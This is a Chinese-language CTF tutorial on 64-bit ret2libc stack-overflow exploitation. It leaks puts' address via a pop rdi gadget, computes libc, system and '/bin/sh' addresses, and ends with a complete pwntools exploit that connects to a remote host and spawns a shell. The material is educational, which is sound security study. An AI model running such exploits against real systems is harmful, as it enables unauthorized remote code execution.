PWN从入门到放弃(10)——栈溢出之ret2libc(x64)

前面我们介绍了32位elf程序ret2libc的利用方法

本篇我们介绍一下64位的ret2libc

0x00 例题

1)查看文件信息

$ file ret2libc
$ checksec ret2libc

2)查看程序流程

运行一下程序,看看程序的大概流程

程序提供一次输入一次输出

3)分析程序&查找漏洞点

将程序扔到ida pro里分析

首先分析main()函数

我们看到,程序使用了gets函数和puts函数,根据我们之前讲过的ret2libc,攻击思路还是很清晰的

这里gets()函数是存在溢出的,我们可以利用这个溢出,构造一个puts()函数,将函数实际地址打印出来

然后利用puts函数的实际地址计算出libc基地址,再计算system函数和binsh的地址

4)构造payload

首先构造第一段payload

这里需要注意,64位程序和32位程序有比较大的区别,32位程序函数参数是通过栈来传参,我们只需要构造一个栈结构即可;64位程序函数参数是通过寄存器来传参,因此,我们需要用到ROPgadget来给寄存器赋值

64位程序传递参数的寄存器一共有六个,如果函数参数大于六个,后面的参数才会入栈,寄存器传参顺序为:$rdi $rsi $rdx $rcx $r8 $r9

因为我们脚本需要用到的函数为puts和system,这两个函数都只有一个参数,因此我们只需要rdi寄存器即可

我们利用ROPgadget工具来查找ROP片段

$ ROPgadget --binary ret2libc

我们找到pop rdi ; ret,将其地址复制出来

构造函数的顺序为,溢出偏移+pop rdi ; ret+参数+函数地址+函数返回地址

注:这里因为程序只有一次输入输出,所以我们返回地址填上main函数的地址,当我们构造的函数执行完后,会返回到main函数继续执行。

第一段payload如下

from pwn import *

r = process('./ret2libc')
elf = ELF('./ret2libc')

padding = 120

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400666
pop_rdi_ret = 0x0400753

payload = 'a' * padding
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

r.sendline(payload)

r.interactive()

我们运行脚本,程序就会将puts函数的实际地址给我们打印出来

我们通过recvline方法来接收

r.recvline()
puts_real = u64(r.recvline()[:-1].ljust(8,'\x00'))

第一个r.recvline()用来接收程序给我们打印的数据,第二个r.recvline用来接收puts函数的实际地址,这里用[:-1]来截取掉后面的’\n’,用.ljust(8,’\x00′)将长度填充为8,因为64位程序的地址长度为8

当我们成功获取到puts函数的实际地址后,即可将本地调试改成远程调试,将远程服务器上的程序puts函数实际地址泄露出来,然后根据puts函数的实际地址来查找远程服务器上所使用的libc库版本

这里我们看到,远程调试时,puts函数实际地址的后三位为6a0,那么我们上网查一下,戳这里☞libc database search

我们找到对应版本的libc库,即可下载

注:64位程序选择amd64的库,32位程序选择i386的库

我们将对应库下载下来,放到程序文件夹下,重命名位libc.so,并将其导入脚本

libc = ELF('./libc.so')

然后可根据公式来计算出libc的基地址和system函数以及binsh的地址

libc_base = puts_real - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()

这里一般会将libc_base的值打印出来,如果后三位是0,那么证明我们计算的是没有问题的

那么现在我们可以继续构造第二段payload了

payload2 = 'a' * padding
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)
payload2 += p64(0xdeadbeef)

sleep(1)
r.sendline(payload2)

0x01 完整exp

from pwn import *

#r = process('./ret2libc')
r = remote('123.56.83.100',6102)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so')
elf = ELF('./ret2libc')

padding = 120

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400666
pop_rdi_ret = 0x0400753

payload = 'a' * padding
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

r.sendline(payload)

r.recvline()
puts_real = u64(r.recvline()[:-1].ljust(8,'\x00'))
print hex(puts_real)

libc_base = puts_real - libc.symbols['puts']
print hex(libc_base)
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()

payload2 = 'a' * padding
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)
payload2 += p64(0xdeadbeef)

sleep(1)
r.sendline(payload2)

r.interactive()